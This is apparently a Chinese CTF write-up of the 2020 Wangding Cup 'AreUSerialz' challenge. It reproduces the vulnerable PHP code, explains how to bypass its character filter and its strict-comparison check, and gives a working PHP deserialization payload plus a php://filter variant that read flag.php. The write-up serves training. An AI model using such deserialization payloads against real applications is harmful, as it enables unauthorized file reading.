[网鼎杯 2020 青龙组]AreUSerialz
目录
题目:在buu平台上
解题过程:
代码审计
-
<?php
-
-
include(
"flag.php");
-
-
highlight_file(
__FILE__);
-
-
class FileHandler {
-
-
protected $op;
-
protected $filename;
-
protected $content;
-
-
function __construct() {
-
$op =
"1";
-
$filename =
"/tmp/tmpfile";
-
$content =
"Hello World!";
-
$this->process();
-
}
-
-
public
function process() {
-
if(
$this->op ==
"1") {
-
$this->write();
-
}
else
if(
$this->op ==
"2") {
-
$res =
$this->read();
-
$this->output($res);
-
}
else {
-
$this->output(
"Bad Hacker!");
-
}
-
}
-
-
private
function write() {
-
if(
isset(
$this->filename) &&
isset(
$this->content)) {
-
if(strlen((
string)
$this->content) >
100) {
-
$this->output(
"Too long!");
-
die();
-
}
-
$res = file_put_contents(
$this->filename,
$this->content);
-
if($res)
$this->output(
"Successful!");
-
else
$this->output(
"Failed!");
-
}
else {
-
$this->output(
"Failed!");
-
}
-
}
-
-
private
function read() {
-
$res =
"";
-
if(
isset(
$this->filename)) {
-
$res = file_get_contents(
$this->filename);
-
}
-
return $res;
-
}
-
-
private
function output($s) {
-
echo
"[Result]: <br>";
-
echo $s;
-
}
-
-
function __destruct() {
-
if(
$this->op ===
"2")
-
$this->op =
"1";
-
$this->content =
"";
-
$this->process();
-
}
-
-
}
-
-
function is_valid($s) {
-
for($i =
0; $i < strlen($s); $i++)
-
if(!(ord($s[$i]) >=
32 && ord($s[$i]) <=
125))
-
return
false;
-
return
true;
-
}
-
-
if(
isset($_GET{
'str'})) {
-
-
$str = (
string)$_GET[
'str'];
-
if(is_valid($str)) {
-
$obj = unserialize($str);
-
}
-
-
}
经过分析,这个题目需要传入一个序列化之后的类对象,并且要绕过两层防护:
两个防护:
is_valid()
要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
destruct()魔术方法
op==="2",是强比较,
-
function __destruct() {
-
if(
$this->op ===
"2")
-
$this->op =
"1";
-
$this->content =
"";
-
$this->process();
-
}
而在process()函数中,op=="2"是弱比较
-
public
function process() {
-
if(
$this->op ==
"1") {
-
$this->write();
-
}
else
if(
$this->op ==
"2") {
-
$res =
$this->read();
-
$this->output($res);
-
}
else {
-
$this->output(
"Bad Hacker!");
-
}
-
}
绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.
-
<?php
-
-
$op=
2;
-
$oop=
'2';
-
if($op===
"2")
-
echo
"数字2与字符2强比较成功";
-
else
-
echo
"数字2与字符2强比较失败";
-
echo
"\n";
-
if($op==
"2")
-
echo
"数字2与字符2弱比较成功";
-
else
-
echo
"数字2与字符2弱比较失败";
-
?>
本地进行序列化操作
-
<?php
-
-
class FileHandler {
-
-
public $op =
2;
-
public $filename =
"flag.php";
-
public $content =
"1";
//因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
-
}
-
-
$a =
new FileHandler();
-
$b = serialize($a);
-
echo $b;
-
-
?>
序列化结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
f12中返回flag。
也可以用伪协议
-
<?php
-
-
class FileHandler {
-
-
public $op =
2;
-
public $filename =
"php://filter/read=convert.base64-encode/resource=flag.php";
-
public $content =
"2";
-
-
}
-
-
$a =
new FileHandler();
-
$b = serialize($a);
-
echo $b;
-
-
?>
得到base64编码后,解码即可得到flag。